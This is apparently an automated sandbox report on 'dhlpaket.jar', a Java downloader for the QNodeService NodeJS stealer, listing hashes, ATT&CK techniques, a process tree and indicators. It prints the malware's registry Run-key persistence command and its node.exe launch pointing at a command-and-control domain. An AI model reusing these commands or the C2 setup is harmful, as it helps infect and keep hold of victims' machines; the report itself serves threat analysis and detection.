qnodeservice | fc893170ac17a117486c0cb8e3f0733840f5e964d4134abf74c3d801df40f75a

General

Target

dhlpaket.jar
Size

289KB
MD5

b15cdc291a5e4a8535c3eb7c14eae8dc
SHA1

1a4070204cabeb1fe552ce0d83017dd416fc1ef5
SHA256

fc893170ac17a117486c0cb8e3f0733840f5e964d4134abf74c3d801df40f75a
SHA512

274429ccfc2d977a9d013ac788880bdb80fd3320f623042a671a2186ecc62ffb19ddcb8e452d7f1dff5a1bc66ffc4111129869ec01783bf4701a3bc5dbee000b

Score

10^/10

trojan qnodeservice persistence spyware

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3460	node.exe
3116	node.exe
916	node.exe

Loads dropped DLL 6 IoCs

pid	Process
916	node.exe
916	node.exe
916	node.exe
916	node.exe
916	node.exe
916	node.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\d8d826fc-4dd3-45bd-afcd-ef19584ec2cc = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad43-168.dat	js
behavioral2/files/0x000100000001ad43-172.dat	js
behavioral2/files/0x000100000001ad43-176.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	wtfismyip.com
24	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3460	node.exe
3460	node.exe
3460	node.exe
3460	node.exe
3116	node.exe
3116	node.exe
3116	node.exe
3116	node.exe
916	node.exe
916	node.exe
916	node.exe
916	node.exe
916	node.exe
916	node.exe
916	node.exe
916	node.exe
916	node.exe
916	node.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3740 wrote to memory of 3660	3740	java.exe	73
PID 3740 wrote to memory of 3660	3740	java.exe	73
PID 3660 wrote to memory of 3460	3660	javaw.exe	77
PID 3660 wrote to memory of 3460	3660	javaw.exe	77
PID 3460 wrote to memory of 3116	3460	node.exe	79
PID 3460 wrote to memory of 3116	3460	node.exe	79
PID 3116 wrote to memory of 916	3116	node.exe	80
PID 3116 wrote to memory of 916	3116	node.exe	80
PID 916 wrote to memory of 2224	916	node.exe	82
PID 916 wrote to memory of 2224	916	node.exe	82
PID 2224 wrote to memory of 3452	2224	cmd.exe	83
PID 2224 wrote to memory of 3452	2224	cmd.exe	83
PID 916 wrote to memory of 2360	916	node.exe	84
PID 916 wrote to memory of 2360	916	node.exe	84
PID 2360 wrote to memory of 2400	2360	cmd.exe	85
PID 2360 wrote to memory of 2400	2360	cmd.exe	85

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\dhlpaket.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3740
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\58b69092.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3660
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain september101991.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3460
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Dr5O8A\boot.js --hub-domain september101991.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3116
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Dr5O8A\boot.js --hub-domain september101991.ddns.net
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:916
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "d8d826fc-4dd3-45bd-afcd-ef19584ec2cc" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2224
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "d8d826fc-4dd3-45bd-afcd-ef19584ec2cc" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3452
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "d8d826fc-4dd3-45bd-afcd-ef19584ec2cc" /F"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2360
        
        C:\Windows\system32\reg.exe
        
        REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "d8d826fc-4dd3-45bd-afcd-ef19584ec2cc" /F
        7⤵
        
        PID:2400

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/916-177-0x000000279F2C0000-0x000000279F2C1000-memory.dmp

Filesize
4KB

Download
memory/3116-173-0x0000033226740000-0x0000033226741000-memory.dmp

Filesize
4KB

Download
memory/3460-170-0x0000034EEF200000-0x0000034EEF201000-memory.dmp

Filesize
4KB

Download

Analysis

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